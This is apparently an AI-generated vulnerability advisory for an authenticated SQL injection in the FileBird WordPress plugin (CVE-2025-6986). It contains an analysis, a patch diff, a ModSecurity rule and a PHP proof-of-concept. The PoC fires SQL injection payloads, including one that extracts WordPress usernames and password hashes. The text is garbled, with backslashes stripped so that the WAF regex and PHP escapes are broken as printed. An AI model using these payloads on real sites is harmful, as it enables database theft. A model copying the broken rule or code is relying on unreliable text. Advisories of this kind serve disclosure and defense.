Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 10, 2026

CVE-2025-6986: FileBird – WordPress Media Library Folders & File Manager <= 6.4.8 – Authenticated (Author+) SQL Injection (filebird)

CVE ID CVE-2025-6986
Plugin filebird
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 6.4.8
Patched Version 6.4.9
Disclosed August 4, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-6986:
The FileBird WordPress plugin version 6.4.8 and earlier contains an authenticated SQL injection vulnerability. This flaw exists in the folder search functionality, allowing attackers with Author-level permissions or higher to execute arbitrary SQL commands. The vulnerability has a CVSS score of 6.5.

Atomic Edge research identifies the root cause in the `getFolders` method within the `Folder` model class. The vulnerable code resides in `filebird/includes/Model/Folder.php`. The function constructs an SQL query using the `$search` parameter without proper parameterization. Lines 17-28 in the diff show the original vulnerable implementation. The code concatenates the user-supplied `$search` value directly into the SQL query string after only applying `$wpdb->esc_like()`. This escaping function prevents wildcard injection but does not prevent SQL injection. The query assembles conditions into a string array, then uses `implode` to build the final WHERE clause.

The exploitation method requires an authenticated attacker with at least Author-level access. The attacker must send a crafted request containing a malicious SQL payload within the `search` parameter. Atomic Edge analysis indicates this parameter is likely passed to the `getFolders` method via an AJAX handler or REST endpoint that calls this function. An attacker could inject SQL commands like UNION SELECT statements to extract sensitive data from the WordPress database, including user credentials, plugin settings, or other confidential information.

The patch in version 6.4.9 replaces the vulnerable string concatenation with proper prepared statements using `$wpdb->prepare()`. The diff shows lines 30-43 in the updated `Folder.php` file. The new implementation validates the `$select` parameter against an allow list, then uses `$wpdb->prepare` with placeholders (`%d` for `created_by` and `%s` for the search term). The search term now receives proper escaping through the `$wpdb->esc_like()` function within the prepared statement context. This approach ensures the search parameter is treated as a string literal, not executable SQL code.

Successful exploitation allows data exfiltration from the WordPress database. Attackers can extract sensitive information including hashed user passwords, email addresses, API keys, and other plugin data. While the vulnerability requires Author-level authentication, this access level is commonly granted to contributors in multi-author WordPress sites. The SQL injection could enable complete database compromise, potentially leading to privilege escalation or site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/filebird/filebird.php
+++ b/filebird/filebird.php
@@ -3,7 +3,7 @@
  * Plugin Name: FileBird Lite
  * Plugin URI: https://ninjateam.org/wordpress-media-library-folders/
  * Description: Organize thousands of WordPress media files into folders/ categories at ease.
- * Version: 6.4.7
+ * Version: 6.4.9
  * Author: Ninja Team
  * Author URI: https://ninjateam.org
  * Text Domain: filebird
@@ -32,7 +32,7 @@
 }

 if ( ! defined( 'NJFB_VERSION' ) ) {
-	define( 'NJFB_VERSION', '6.4.7' );
+	define( 'NJFB_VERSION', '6.4.9' );
 }

 if ( ! defined( 'NJFB_PLUGIN_FILE' ) ) {
--- a/filebird/includes/Admin/Settings.php
+++ b/filebird/includes/Admin/Settings.php
@@ -84,6 +84,7 @@
 					'wpml'               => array(
 						'display_sync' => ! empty( $wpmlActiveLanguages ),
 					),
+					'is_fbdl_activated' => class_exists( 'FileBird_Document_Library\DocumentLibrary' )
 				)
 			);
 		}
--- a/filebird/includes/I18n.php
+++ b/filebird/includes/I18n.php
@@ -280,6 +280,8 @@
 			'activation'                        => __( 'Activation', 'filebird' ),
 			'tools'                             => __( 'Tools', 'filebird' ),
 			'import_export'                     => __( 'Import/Export', 'filebird' ),
+			'document_library'                  => __( 'Document Library', 'filebird' ),
+			'enable_cache_optimization'         => __( 'Enable cache optimization', 'filebird' ),
 			'select_theme'                      => __( 'Select theme', 'filebird' ),
 			'by'                                => __( 'By', 'filebird' ),
 			'lifetime_license'                  => __( 'Lifetime license', 'filebird' ),
--- a/filebird/includes/Model/Folder.php
+++ b/filebird/includes/Model/Folder.php
@@ -17,18 +17,32 @@
 		//TODO need to convert ord to number using +0
 		global $wpdb;

-		$conditions = array(
-			'1 = 1',
-			'created_by = ' . apply_filters( 'fbv_folder_created_by', 0 ),
-		);
+		$allowed_columns = array( '*', 'id', 'name', 'parent', 'type', 'created_by', 'ord' );
+		$select_parts = array_map( 'trim', explode( ',', $select ) );
+		foreach ( $select_parts as $part ) {
+			if ( ! in_array( $part, $allowed_columns, true ) ) {
+				$select = '*';
+				break;
+			}
+		}

+		$created_by = apply_filters( 'fbv_folder_created_by', 0 );
+
 		if ( ! empty( $search ) ) {
-			$conditions[] = "name LIKE '%" . $wpdb->esc_like( $search ) . "%'";
+			$sql = $wpdb->prepare(
+				"SELECT $select FROM " . self::getTable( self::$folder_table ) .
+				" WHERE 1 = 1 AND created_by = %d AND name LIKE %s ORDER BY `ord` ASC",
+				$created_by,
+				'%' . $wpdb->esc_like( $search ) . '%'
+			);
+		} else {
+			$sql = $wpdb->prepare(
+				"SELECT $select FROM " . self::getTable( self::$folder_table ) .
+				" WHERE 1 = 1 AND created_by = %d ORDER BY `ord` ASC",
+				$created_by
+			);
 		}
-		$conditions = implode( ' AND ', $conditions );
-		$sql        = "SELECT $select FROM " . self::getTable( self::$folder_table ) . ' WHERE ' . $conditions . ' ORDER BY `ord` ASC';

-		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared
 		$folders = $wpdb->get_results( $sql );

 		if ( 'name' === $order_by && in_array( $order, array( 'asc', 'desc' ), true ) ) {
--- a/filebird/includes/Model/SettingModel.php
+++ b/filebird/includes/Model/SettingModel.php
@@ -32,6 +32,10 @@
 				'get' => 'getFolderSearchMethod',
 				'set' => 'setFolderSearchMethod',
 			),
+			'enable_cache_optimization' => array(
+				'get' => 'getEnableCacheOptimization',
+				'set' => 'setEnableCacheOptimization',
+			),
 		);
 	}

@@ -86,4 +90,15 @@
 	public function setFolderSearchMethod( $value ) {
 		update_option( 'njt_fbv_is_search_using_api', $value );
 	}
-}
 No newline at end of file
+
+	public function getEnableCacheOptimization() {
+		$settings = (array) get_option( 'fbv_settings', array() );
+		return isset( $settings['enable_cache_optimization'] ) ? (string) $settings['enable_cache_optimization'] : "0";
+	}
+
+	public function setEnableCacheOptimization( $value ) {
+		$settings = (array) get_option( 'fbv_settings', array() );
+		$settings['enable_cache_optimization'] = $value;
+		update_option( 'fbv_settings', $settings );
+	}
+}
--- a/filebird/includes/Utils/Vite.php
+++ b/filebird/includes/Utils/Vite.php
@@ -3,7 +3,7 @@
 namespace FileBirdUtils;

 class Vite {
-	const HOST                 = 'https://localhost:3000/';
+	const HOST                 = 'http://localhost:3000/';
 	const SCRIPT_HANDLE        = 'module/filebird/vite';
 	const CLIENT_SCRIPT_HANDLE = 'module/filebird/vite-client';

--- a/filebird/vendor/autoload.php
+++ b/filebird/vendor/autoload.php
@@ -14,10 +14,7 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/filebird/vendor/composer/InstalledVersions.php
+++ b/filebird/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,19 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -350,7 +387,7 @@
             }
         }

-        if (self::$installed !== array()) {
+        if (self::$installed !== array() && !$copiedLocalDir) {
             $installed[] = self::$installed;
         }

--- a/filebird/vendor/composer/installed.php
+++ b/filebird/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'ninjateam/filebird',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => 'c7cb035cc0855f50cd4aba1421148823806dd660',
+        'reference' => 'ae24a56b4431bdbd79dd6c27c3c16365a472d9c0',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -22,7 +22,7 @@
         'ninjateam/filebird' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => 'c7cb035cc0855f50cd4aba1421148823806dd660',
+            'reference' => 'ae24a56b4431bdbd79dd6c27c3c16365a472d9c0',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/filebird/views/settings/header.php
+++ b/filebird/views/settings/header.php
@@ -36,13 +36,13 @@
         </div>
     </div>
     <div id="filebird-admin-actions">
-        <a href="https://ninjateam.gitbook.io/filebird/features/interface" target="_blank" rel="noopener noreferrer">
+        <a class="focus:fb-shadow-admin-button" href="https://ninjateam.gitbook.io/filebird/features/interface" target="_blank" tabindex="0" rel="noopener noreferrer">
             <?php esc_html_e( 'Docs', 'filebird' ); ?>
         </a>
-        <a href="https://ninjateam.org/support/" target="_blank" rel="noopener noreferrer">
+        <a class="focus:fb-shadow-admin-button" href="https://ninjateam.org/support/" target="_blank" tabindex="0" rel="noopener noreferrer">
             <?php esc_html_e( 'Support', 'filebird' ); ?>
         </a>
-        <a href="https://ninjateam.gitbook.io/filebird/other-links/changelog" target="_blank" rel="noopener noreferrer">
+        <a class="focus:fb-shadow-admin-button" href="https://ninjateam.gitbook.io/filebird/other-links/changelog" target="_blank" tabindex="0" rel="noopener noreferrer">
             <?php esc_html_e( 'Changelog', 'filebird' ); ?>
         </a>
     </div>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-6986
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10006986,phase:2,deny,status:403,chain,msg:'CVE-2025-6986 SQL Injection via FileBird AJAX',severity:'CRITICAL',tag:'CVE-2025-6986',tag:'WordPress',tag:'FileBird',tag:'SQLi'"
  SecRule ARGS_POST:action "@streq fbv_get_folders" "chain"
    SecRule ARGS_POST:search "@rx (?i)(?:b(?:unions+(?:alls+)?select|selects+w+s+froms+w+|inserts+into|updates+w+s+set|deletes+froms+w+)b|'s*(?:and|or)s*[dw]+s*[=<>]+s*[dw]+s*'|'s*(?:and|or)s*(s*selects|'s*(?:and|or)s*sleeps*(|'s*(?:and|or)s*benchmarks*(|'s*;s*--s*$|'s*;s*#|'s*/*.**/)" 
      "setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-6986 - FileBird – WordPress Media Library Folders & File Manager <= 6.4.8 - Authenticated (Author+) SQL Injection

<?php

$target_url = "https://vulnerable-site.com/wp-admin/admin-ajax.php";
$username = "author_user";
$password = "author_pass";

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Get login nonce
curl_setopt($ch, CURLOPT_URL, $target_url);
$response = curl_exec($ch);

// Step 2: Authenticate to WordPress (simplified - actual implementation requires nonce and redirect handling)
// Note: Real exploitation requires proper WordPress authentication flow
// This PoC assumes the attacker already has a valid session cookie

// Step 3: Craft SQL injection payload
// The search parameter is vulnerable to time-based blind SQL injection
$payloads = [
    "' OR SLEEP(5) AND '1'='1",
    "' UNION SELECT user_login,user_pass,1,1,1 FROM wp_users WHERE '1'='1",
    "' AND 1=0 UNION SELECT version(),database(),user(),@@version_compile_os,1-- -",
];

foreach ($payloads as $payload) {
    $post_data = [
        'action' => 'fbv_get_folders', // This is the likely AJAX action - may need verification
        'search' => $payload,
        'nonce' => 'valid_nonce_here', // Requires valid nonce from authenticated session
    ];
    
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    
    $start_time = microtime(true);
    $response = curl_exec($ch);
    $end_time = microtime(true);
    
    $execution_time = $end_time - $start_time;
    
    echo "Payload: " . htmlspecialchars($payload) . "n";
    echo "Response Time: " . $execution_time . " secondsn";
    echo "Response: " . substr($response, 0, 500) . "nn";
    
    if ($execution_time > 5) {
        echo "[+] Time-based SQL injection confirmed!n";
    }
    
    // Check for database information in response
    if (strpos($response, 'user_login') !== false || strpos($response, 'version()') !== false) {
        echo "[+] Union-based SQL injection successful!n";
        echo "Extracted data: " . $response . "n";
    }
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School